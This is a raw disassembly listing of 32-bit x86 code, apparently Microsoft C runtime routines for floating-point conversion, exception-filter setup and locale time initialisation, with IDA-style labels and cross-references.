or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_42FE9E
; ---------------------------------------------------------------------------
loc_42FE95: ; CODE XREF: sub_42FE50+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42FE9E: ; CODE XREF: sub_42FE50+43j
cmp [ebp+var_C], 3
jge short loc_42FEF1
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_42FE95
; ---------------------------------------------------------------------------
loc_42FEF1: ; CODE XREF: sub_42FE50+52j
mov [ebp+var_C], 2
jmp short loc_42FF03
; ---------------------------------------------------------------------------
loc_42FEFA: ; CODE XREF: sub_42FE50:loc_42FF35j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_42FF03: ; CODE XREF: sub_42FE50+A8j
cmp [ebp+var_C], 0
jl short loc_42FF37
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_42FF28
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_42FF35
; ---------------------------------------------------------------------------
loc_42FF28: ; CODE XREF: sub_42FE50+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_42FF35: ; CODE XREF: sub_42FE50+D6j
jmp short loc_42FEFA
; ---------------------------------------------------------------------------
loc_42FF37: ; CODE XREF: sub_42FE50+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_42FE50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FF40 proc near ; CODE XREF: sub_430190+10p
; sub_4301B0+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_42FFD0
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_42FE10
add esp, 4
test eax, eax
jz short loc_42FFB8
mov [ebp+var_1C], 0
jmp short loc_42FFCB
; ---------------------------------------------------------------------------
loc_42FFB8: ; CODE XREF: sub_42FF40+6Dj
lea edx, [ebp+var_18]
push edx
call sub_42FDE0
add esp, 4
mov [ebp+var_1C], 2
loc_42FFCB: ; CODE XREF: sub_42FF40+76j
jmp loc_43011C
; ---------------------------------------------------------------------------
loc_42FFD0: ; CODE XREF: sub_42FF40+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_42FD90
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_42FCB0
add esp, 8
test eax, eax
jz short loc_430000
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_430000: ; CODE XREF: sub_42FF40+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_430030
lea eax, [ebp+var_18]
push eax
call sub_42FDE0
add esp, 4
loc_43001D: ; DATA XREF: seg002:off_446E80o
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_43011C
; ---------------------------------------------------------------------------
loc_430030: ; CODE XREF: sub_42FF40+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_4300A0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
loc_43004F: ; DATA XREF: seg002:00445398o
; seg002:004453ACo
call sub_42FD90
add esp, 8
mov ecx, [ebp+var_34]
push ecx
loc_43005B: ; DATA XREF: seg002:off_4450E0o
lea edx, [ebp+var_18]
push edx
call sub_42FE50
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42FCB0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42FE50
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_43011C
; ---------------------------------------------------------------------------
loc_4300A0: ; CODE XREF: sub_42FF40+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_4300EB
lea edx, [ebp+var_18]
push edx
call sub_42FDE0
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42FE50
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_43011C
; ---------------------------------------------------------------------------
loc_4300EB: ; CODE XREF: sub_42FF40+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42FE50
add esp, 8
mov [ebp+var_1C], 0
loc_43011C: ; CODE XREF: sub_42FF40:loc_42FFCBj
; sub_42FF40+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_43016A
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_43017B
; ---------------------------------------------------------------------------
loc_43016A: ; CODE XREF: sub_42FF40+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_43017B
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_43017B: ; CODE XREF: sub_42FF40+228j
; sub_42FF40+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_42FF40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430190 proc near ; CODE XREF: sub_430290+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_4507B0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42FF40
add esp, 0Ch
pop ebp
retn
sub_430190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301B0 proc near ; CODE XREF: sub_430310+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_4507C8
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42FF40
add esp, 0Ch
pop ebp
retn
sub_4301B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301D0 proc near ; CODE XREF: seg000:004302FAp
; seg000:00433E7Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_42FCB0
add esp, 8
test eax, eax
jz short loc_430247
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_430247: ; CODE XREF: sub_4301D0+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_43025D
mov [ebp+var_14], 1
loc_43025D: ; CODE XREF: sub_4301D0+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_4301D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430290 proc near ; CODE XREF: sub_429930+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_433320
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_430190
add esp, 8
mov esp, ebp
pop ebp
retn
sub_430290 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_433320
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_4301D0
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430310 proc near ; CODE XREF: sub_429930+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_433320
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_4301B0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_430310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430350 proc near ; CODE XREF: sub_429980+4Dp
; sub_429B70+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_430374: ; CODE XREF: sub_430350+69j
cmp [ebp+arg_4], 0
jle short loc_4303BB
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_430398
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_43039F
; ---------------------------------------------------------------------------
loc_430398: ; CODE XREF: sub_430350+32j
mov [ebp+var_C], 30h
loc_43039F: ; CODE XREF: sub_430350+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_430374
; ---------------------------------------------------------------------------
loc_4303BB: ; CODE XREF: sub_430350+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_430404
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_430404
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_4303DB: ; CODE XREF: sub_430350+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_4303F7
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_4303DB
; ---------------------------------------------------------------------------
loc_4303F7: ; CODE XREF: sub_430350+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_430404: ; CODE XREF: sub_430350+75j
; sub_430350+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_430420
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_430446
; ---------------------------------------------------------------------------
loc_430420: ; CODE XREF: sub_430350+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
call sub_41AC70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41F9A0
add esp, 0Ch
loc_430446: ; CODE XREF: sub_430350+CEj
mov esp, ebp
pop ebp
retn
sub_430350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430450 proc near ; CODE XREF: sub_429980+1Ep
; sub_429B70+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_4304D0
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_433EA0
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_41E550
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_430450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4304D0 proc near ; CODE XREF: sub_430450+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_430547
cmp [ebp+var_1C], 7FFh
jz short loc_43053F
jmp short loc_43058A
; ---------------------------------------------------------------------------
loc_43053F: ; CODE XREF: sub_4304D0+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_4305A5
; ---------------------------------------------------------------------------
loc_430547: ; CODE XREF: sub_4304D0+62j
cmp [ebp+var_8], 0
jnz short loc_430574
cmp [ebp+var_10], 0
jnz short loc_430574
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_43062E
; ---------------------------------------------------------------------------
loc_430574: ; CODE XREF: sub_4304D0+7Bj
; sub_4304D0+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_4305A5
; ---------------------------------------------------------------------------
loc_43058A: ; CODE XREF: sub_4304D0+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_4305A5: ; CODE XREF: sub_4304D0+75j
; sub_4304D0+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4305C9: ; CODE XREF: sub_4304D0+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_430614
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_4305C9
; ---------------------------------------------------------------------------
loc_430614: ; CODE XREF: sub_4304D0+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_43062E: ; CODE XREF: sub_4304D0+9Fj
mov esp, ebp
pop ebp
retn
sub_4304D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430640 proc near ; CODE XREF: sub_424CB0+6ADp
; sub_424CB0+6CFp ...
push ebp
mov ebp, esp
push 2
call sub_420CA0
add esp, 4
pop ebp
retn
sub_430640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430650 proc near ; DATA XREF: sub_4306B0+3o
; seg002:00450410o ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_43067E
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+10h], 3
jnz short loc_43067E
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+14h], 19930520h
jnz short loc_43067E
call sub_42AB50
loc_43067E: ; CODE XREF: sub_430650+Ej
; sub_430650+19j ...
cmp ds:dword_4EEC7C, 0
jz short loc_4306A5
mov eax, ds:dword_4EEC7C
push eax
call loc_430750
add esp, 4
test eax, eax
jz short loc_4306A5
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4EEC7C
jmp short loc_4306A7
; ---------------------------------------------------------------------------
loc_4306A5: ; CODE XREF: sub_430650+35j
; sub_430650+47j
xor eax, eax
loc_4306A7: ; CODE XREF: sub_430650+53j
pop ebp
retn 4
sub_430650 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306B0 proc near ; DATA XREF: seg002:0043C028o
push ebp
mov ebp, esp
push offset sub_430650
call ds:dword_4F12C8 ; SetUnhandledExceptionFilter
mov ds:dword_4EEC7C, eax
pop ebp
retn
sub_4306B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306D0 proc near ; DATA XREF: seg002:0043C040o
push ebp
mov ebp, esp
mov eax, ds:dword_4EEC7C
push eax
call ds:dword_4F12C8 ; SetUnhandledExceptionFilter
pop ebp
retn
sub_4306D0 endp
; ---------------------------------------------------------------------------
align 10h
loc_4306F0: ; CODE XREF: sub_429F90+9Ep
; sub_42A7A0+77p ...
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call near ptr 3D0000h
aam 85h
sal byte ptr [edi+eax-39h], 45h
cld
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_430720: ; CODE XREF: sub_42A7A0+89p
; sub_42A7A0+EDp ...
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call near ptr 3D0000h
fild dword ptr [ebp-38F88B40h]
inc ebp
cld
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_430750: ; CODE XREF: sub_42A7A0+1E2p
; sub_430650+3Dp
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 1
mov eax, [ebp+8]
push eax
call near ptr 3D0000h
mov dword ptr [ebp-38F88B40h], 0FC45h
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430780 proc near ; CODE XREF: sub_42ABBEp
push ebp
mov ebp, esp
push 0Ah
call sub_42CB30
add esp, 4
push 16h
call sub_42D300
add esp, 4
push 3
call sub_41D9F0
pop ebp
retn
sub_430780 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4307A0 proc near ; DATA XREF: seg002:00450574o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEA7C, 0
jz loc_430841
push 48h
push offset aInittime_c ; "inittime.c"
push 2
push 0ACh
push 1
call sub_41B270
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4307DC
mov eax, 1
jmp loc_430877
; ---------------------------------------------------------------------------
loc_4307DC: ; CODE XREF: sub_4307A0+30j
mov eax, [ebp+var_4]
push eax
call sub_430880
add esp, 4
test eax, eax
jz short loc_43080D
mov ecx, [ebp+var_4]
push ecx
call sub_430E10
add esp, 4
push 2
mov edx, [ebp+var_4]
push edx
call sub_41B8F0
add esp, 8
mov eax, 1
jmp short loc_430877
; ---------------------------------------------------------------------------
loc_43080D: ; CODE XREF: sub_4307A0+4Aj
mov eax, [ebp+var_4]
mov ds:off_450F58, eax
mov ecx, ds:dword_4EEC80
push ecx
call sub_430E10
add esp, 4
push 2
mov edx, ds:dword_4EEC80
push edx
call sub_41B8F0
add esp, 8
mov eax, [ebp+var_4]
mov ds:dword_4EEC80, eax
xor eax, eax
jmp short loc_430877
; ---------------------------------------------------------------------------
loc_430841: ; CODE XREF: sub_4307A0+Bj
mov ds:off_450F58, offset off_450F60
mov ecx, ds:dword_4EEC80
push ecx
call sub_430E10
add esp, 4
push 2
mov edx, ds:dword_4EEC80
push edx
call sub_41B8F0
add esp, 8
mov ds:dword_4EEC80, 0
xor eax, eax
loc_430877: ; CODE XREF: sub_4307A0+37j
; sub_4307A0+6Bj ...
mov esp, ebp
pop ebp
retn
sub_4307A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430880 proc near ; CODE XREF: sub_4307A0+40p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], 0
xor eax, eax
mov ax, ds:word_4EECBA
mov [ebp+var_4], eax
xor ecx, ecx
mov cx, ds:word_4EECBC
mov [ebp+var_8], ecx
cmp [ebp+arg_0], 0
jnz short loc_4308B2
or eax, 0FFFFFFFFh
jmp loc_430E0B
; ---------------------------------------------------------------------------
loc_4308B2: ; CODE XREF: sub_430880+28j
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 31h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 8
push edx
push 32h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 0Ch
push edx
push 33h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 10h
push edx
push 34h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 14h
push edx
push 35h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 18h
push edx
push 36h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
push edx
push 37h
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 20h
push edx
push 2Ah
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 24h
push edx
push 2Bh
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
add edx, 28h
push edx
push 2Ch
mov eax, [ebp+var_4]
push eax
push 1
call sub_435830
add esp, 10h
mov ecx, [ebp+var_C]
or ecx, eax
